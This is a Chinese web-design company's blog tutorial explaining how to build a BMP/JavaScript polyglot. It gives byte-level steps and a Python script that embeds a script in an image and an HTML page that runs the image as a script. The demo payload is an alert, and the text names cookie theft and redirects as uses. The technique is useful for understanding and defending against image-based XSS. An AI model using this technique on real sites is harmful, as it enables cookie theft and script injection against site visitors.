网络建站知识

精准传达 • 价值共享

洞悉互联网前沿资讯,探寻网站营销规律

图片文件黑客攻击原理

作者:狐灵科技 | 2020-01-12 17:29 |点击:

这里以位图 BMP 为例演示图片文件黑客攻击的原理及实现。

 

创建位图

创建或者随便找一个位图,使用编辑器(本文使用 UltraEdit 作为编辑查看工具)打开,可看到 16进制数。

BMP 格式中,前 2 字节是用于识别位图文件格式的字段,可以看到它对应 ASCII 码的 BM只要该字段正确,图片文件就能被正确识别处理,而无论其余数据是否损坏。随后 4 字节用于指示文件大小,单位为字节。

灵梦.bmp

灵梦.bmp

 

 

插入脚本

在此基础上,我们就可以对图片动一些手脚了,我们可以在图片中插入一段 JS 脚本。

比如获取该网页cookie的脚本或者重定向到目标网站的脚本。这里我们仅作效果演示,所以用了弹框:

window.onload = alert("Image hacked!");
 
JavaScript

然后我们将脚本插入到图片中,具体步骤如下:

  1. 2A 2F(即 JS 多行注释中*/的十六进制码)替换为00 00,防止语法错误干扰脚本运行
  2. 在图片的前两个字节后插入2F 2A( JS 多行注释中/*的十六进制码)
  3. 在图片末尾插入FF 2A 2F 3D 31 3B(即*/=1;),其中=1;用于结束开头的BM
  4. 在图片最后插入你写好的脚本的十六进制码。

 

2
2
2
4
4
4

 

以上操作可以通过 Python 脚本简单实现:

# -*- coding:utf-8 -*-

src_img_name = '灵梦.bmp'
rst_img_name = 'hackimg.bmp'
append_js_name = 'cookies.js'

with open(src_img_name,'rb') as f:
    buff = f.read()
    buff = buff.replace(b'\x2A\x2F',b'\x00\x00')

with open(rst_img_name,'wb') as f:
    f.write(buff)
    f.seek(2)
    f.write(b'\x2F\x2A')
    f.seek(0,2)
    f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
    f.write(open(append_js_name,'rb').read())
 
Python

最后我们得到插入了恶意代码的位图文件:
hackimg.bmp

hackimg.bmp

 

 

浏览器运行

创建index.html文件,内容如下:

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>图片黑客攻击</title>
</head>
<body>
    <img src="hackimg.bmp" alt="博丽灵梦"><!-- 这里我们看到图片还能正常显示 -->
    <script src="hackimg.bmp"></script><!-- 脚本也成功执行了 -->
</body>
</html>
 
HTML

运行效果如下:
15778547433291.png

15778547433291.png

 

其他图片格式也可以通过类似的操作实现。

 
多一份免费策划方案,总有益处。

请直接添加技术总监微信联系咨询

网站设计 品牌营销

多一份参考,总有益处

联系狐灵科技,免费获得专属《策划方案》及报价

咨询相关问题或预约面谈,可以通过以下方式与我们联系

业务热线:023-68168040 / 大客户专线:15523356218